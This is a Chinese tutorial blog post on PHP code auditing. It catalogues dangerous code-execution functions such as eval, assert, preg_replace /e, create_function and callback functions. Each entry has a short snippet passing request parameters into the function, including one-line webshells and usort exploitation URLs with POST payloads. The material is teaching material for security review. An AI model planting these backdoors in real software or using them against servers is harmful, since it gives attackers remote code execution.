PHP代码审计(二)常见危险函数及特殊函数

简介: <?php eval($_POST[cmd]);?>

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码常见危险函数做一些归纳。

常见危险函数函数,如  

eval()、assert()、preg_replace()、create_function()array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort() 文件操作函数、动态函数(a(a(a(b))

 1、eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:

php

复制代码

<?php 
    eval($_POST[cmd]);
?>

 2、assert()

与eval类似,字符串被 assert() 当做 PHP 代码来执行,例如:

php

复制代码

<?php
    //?cmd=phpinfo()
    assert($_REQUEST[cmd]);
?>

 3、preg_replace()

mixed preg_replace ( mixed pattern,mixedpattern , mixed pattern,mixedreplacement , mixed subject[,intsubject [, int subject[,intlimit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。

php

复制代码

<?php
    //?cmd=phpinfo()
    @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4、create_function()

create_function(string args,stringargs,string argsstringcode)

args是要创建的函数参数,code是函数内的代码。

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

php

复制代码

<?php
    //?cmd=phpinfo();
    $func =create_function('',$_REQUEST['cmd']);
    $func();
?>

参考链接:

代码安全:PHP create_function()注入命令执行漏洞

lovexm.blog.51cto.com/3567383/174…

5、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

php

复制代码

<?php
    //?func=system&cmd=whoami
    $func=$_GET['func'];
    $cmd=$_GET['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    //print_r($new_array);
?>

6、call_user_func() 与 call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数。

php

复制代码

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

7、array_filter()

array array_filter ( array array[,callablearray [, callable array[,callablecallback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

php

复制代码

<?php
    //?func=system&cmd=whoami
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
?>

8、usort() 与 uasort()

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=5.6才能用

php

复制代码

<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

10、动态函数

PHP函数直接由字符串拼接

php

复制代码

<?php
    //?a=assert&b=phpinfo()
    $_GET['a']($_GET['b']);
?>

11、include,include_once,require,require_once

包含函数可读取任意文件,并执行其中PHP代码。

上边这句话很可怕,因为其可以执行远程文件或者本地文件。

读取任意文件内容,这就需要用到《支持的协议和封装协议》及《过滤器》

例如使用PHP流filter读取任意文件,或者使用base64。

有好的建议,请在下方输入你的评论。

欢迎访问个人博客 guanchao.site

欢迎访问我的小程序:打开微信->发现->小程序->搜索“时间里的”

目录
相关文章
|
23天前
|
PHP 开发者
PHP计算过去一定时间段内日期范围函数
这个函数为开发者提供了一个快速而简单的方法来获取与当前日期相关的过去时间范围,代码简洁易懂,可复用性高。
52 15
|
3月前
|
PHP 开发者 索引
探究PHP中常见数组操作函数
在编码实践中,合理利用这些数组操作函数可以简化编程工作,提升代码的效率和可读性。为达到最佳实践,开发者应该通过阅读官方文档来深入理解每个函数的工作原理以及如何在不同的场景下运用它们。
112 8
|
11月前
|
关系型数据库 MySQL 数据库连接
PHP内置函数
PHP内置函数
108 5
|
12月前
|
Unix PHP 数据库
PHP日期和时间Date()函数获取当前时间
通过灵活运用 `date()`函数及其丰富的格式选项,PHP开发者可以轻松地在应用程序中处理和展示日期及时间信息。无论是需要精确到秒的完整时间戳,还是仅仅展示日期或时间的某一部分,`date()`函数都能胜任。理解并熟练应用这些格式化技巧,对于提升代码的可读性和维护性至关重要。
221 1
php学习笔记-php字符串及字符串常用函数总结-day04
本文总结了PHP中字符串的三种定义方式和常用字符串处理函数,包括字符串的修剪、转换、长度计算、子串操作、比较、连接、分割及替换等操作。
|
PHP
PHP 可变函数
PHP 可变函数
125 0
|
16天前
|
关系型数据库 MySQL PHP
PHP和Mysql前后端交互效果实现
本文介绍了使用PHP连接MySQL数据库的基本函数及其实现案例。内容涵盖数据库连接、选择数据库、执行查询、获取结果等常用操作,并通过用户登录和修改密码的功能实例,展示了PHP与MySQL的交互过程及代码实现。
151 0
PHP和Mysql前后端交互效果实现
|
6月前
|
关系型数据库 MySQL Linux
查看Linux、Apache、MySQL、PHP版本的技巧
以上就是查看Linux、Apache、MySQL、PHP版本信息的方法。希望这些信息能帮助你更好地理解和使用你的LAMP技术栈。
298 17